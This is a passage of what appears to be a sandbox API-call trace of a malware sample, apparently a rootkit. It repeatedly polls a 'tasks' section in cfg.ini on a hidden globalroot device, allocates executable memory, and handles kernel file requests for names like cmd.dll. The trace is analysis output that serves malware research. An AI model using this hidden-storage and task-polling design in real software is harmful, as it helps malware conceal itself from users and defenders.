ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.671] KeLeaveCriticalRegion () [0130.671] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.671] KeEnterCriticalRegion () [0130.671] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.671] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.671] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294ea80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.671] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.671] KeLeaveCriticalRegion () [0130.671] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.671] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.671] KeEnterCriticalRegion () [0130.671] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.671] ExFreePoolWithTag (P=0xfffffa800294edc0, Tag=0x0) [0130.671] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.671] KeLeaveCriticalRegion () [0130.671] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.671] ReleaseMutex (hMutex=0xf0) returned 1 [0130.671] Sleep (dwMilliseconds=0x927c0) [0130.690] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0130.690] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.690] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0130.690] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.690] KeEnterCriticalRegion () [0130.690] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.690] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.690] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.690] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.690] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0130.690] IdePortDispatch () returned 0x103 [0130.691] KeWaitForMutexObject () returned 0x0 [0130.691] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.691] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.691] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.691] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.691] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.691] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294c910 [0130.691] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.691] KeLeaveCriticalRegion () [0130.691] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.691] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.691] KeEnterCriticalRegion () [0130.691] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.691] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.691] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.691] KeLeaveCriticalRegion () [0130.691] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.691] KeEnterCriticalRegion () [0130.691] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.691] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.691] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.691] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.691] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0130.691] IdePortDispatch () returned 0x103 [0130.692] KeWaitForMutexObject () returned 0x0 [0130.692] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.692] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.692] KeLeaveCriticalRegion () [0130.692] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.692] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.692] KeEnterCriticalRegion () [0130.692] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.692] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003482000 [0130.692] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.692] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.692] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.692] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0130.692] IdePortDispatch () returned 0x103 [0130.692] KeWaitForMutexObject () returned 0x0 [0130.692] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.692] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.692] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.692] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.692] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0130.692] IdePortDispatch () returned 0x103 [0130.693] KeWaitForMutexObject () returned 0x0 [0130.693] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.693] KeLeaveCriticalRegion () [0130.693] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.693] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.693] KeEnterCriticalRegion () [0130.693] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.693] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.693] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.693] KeLeaveCriticalRegion () [0130.694] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.694] KeEnterCriticalRegion () [0130.694] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.694] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.694] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294eac0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.694] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.694] KeLeaveCriticalRegion () [0130.694] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.694] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.694] KeEnterCriticalRegion () [0130.694] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.694] ExFreePoolWithTag (P=0xfffffa800294c910, Tag=0x0) [0130.694] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.694] KeLeaveCriticalRegion () [0130.694] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.694] ReleaseMutex (hMutex=0xf0) returned 1 [0130.694] Sleep (dwMilliseconds=0x927c0) [0130.712] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0130.712] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.712] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0130.712] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.712] KeEnterCriticalRegion () [0130.712] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.712] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.712] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.712] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.712] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0130.712] IdePortDispatch () returned 0x103 [0130.712] KeWaitForMutexObject () returned 0x0 [0130.712] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.712] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.712] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.712] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.712] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.712] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294e670 [0130.712] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.713] KeLeaveCriticalRegion () [0130.713] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.713] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.713] KeEnterCriticalRegion () [0130.713] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.713] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.713] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.713] KeLeaveCriticalRegion () [0130.713] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.713] KeEnterCriticalRegion () [0130.713] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.713] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.713] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.713] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.713] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0130.713] IdePortDispatch () returned 0x103 [0130.714] KeWaitForMutexObject () returned 0x0 [0130.714] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.714] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.714] KeLeaveCriticalRegion () [0130.714] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.714] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.714] KeEnterCriticalRegion () [0130.714] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.714] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003488000 [0130.714] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.714] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.714] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.714] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0130.714] IdePortDispatch () returned 0x103 [0130.714] KeWaitForMutexObject () returned 0x0 [0130.714] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.714] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.714] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.715] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.715] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0130.715] IdePortDispatch () returned 0x103 [0130.715] KeWaitForMutexObject () returned 0x0 [0130.715] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.715] KeLeaveCriticalRegion () [0130.715] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.715] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.715] KeEnterCriticalRegion () [0130.715] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.716] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.716] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.716] KeLeaveCriticalRegion () [0130.716] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.716] KeEnterCriticalRegion () [0130.716] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.716] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.716] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294e730, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.716] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.716] KeLeaveCriticalRegion () [0130.716] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.716] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.716] KeEnterCriticalRegion () [0130.716] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.716] ExFreePoolWithTag (P=0xfffffa800294e670, Tag=0x0) [0130.716] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.716] KeLeaveCriticalRegion () [0130.716] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.716] ReleaseMutex (hMutex=0xf0) returned 1 [0130.716] Sleep (dwMilliseconds=0x927c0) [0130.734] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0130.734] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.734] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0130.735] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.735] KeEnterCriticalRegion () [0130.735] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.735] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.735] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.735] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.735] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0130.735] IdePortDispatch () returned 0x103 [0130.735] KeWaitForMutexObject () returned 0x0 [0130.735] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.735] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.735] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.735] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.735] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.735] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294e910 [0130.735] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.735] KeLeaveCriticalRegion () [0130.735] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.735] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.735] KeEnterCriticalRegion () [0130.735] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.735] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.735] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.735] KeLeaveCriticalRegion () [0130.735] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.736] KeEnterCriticalRegion () [0130.736] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.736] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.736] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.736] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.736] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0130.736] IdePortDispatch () returned 0x103 [0130.736] KeWaitForMutexObject () returned 0x0 [0130.736] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.736] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.736] KeLeaveCriticalRegion () [0130.736] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.736] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.736] KeEnterCriticalRegion () [0130.736] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.736] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034ad000 [0130.736] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.736] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.736] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.736] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0130.736] IdePortDispatch () returned 0x103 [0130.736] KeWaitForMutexObject () returned 0x0 [0130.737] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.737] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.737] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.737] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.737] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0130.737] IdePortDispatch () returned 0x103 [0130.737] KeWaitForMutexObject () returned 0x0 [0130.737] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.737] KeLeaveCriticalRegion () [0130.737] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.738] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.738] KeEnterCriticalRegion () [0130.738] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.738] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.738] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.738] KeLeaveCriticalRegion () [0130.738] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.738] KeEnterCriticalRegion () [0130.738] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.738] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.738] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294e070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.738] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.738] KeLeaveCriticalRegion () [0130.738] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.738] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.738] KeEnterCriticalRegion () [0130.738] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.738] ExFreePoolWithTag (P=0xfffffa800294e910, Tag=0x0) [0130.738] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.738] KeLeaveCriticalRegion () [0130.738] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.739] ReleaseMutex (hMutex=0xf0) returned 1 [0130.739] Sleep (dwMilliseconds=0x927c0) [0130.762] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0130.762] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.762] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0130.762] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.762] KeEnterCriticalRegion () [0130.762] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.762] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.762] IoAllocateMdl (in: 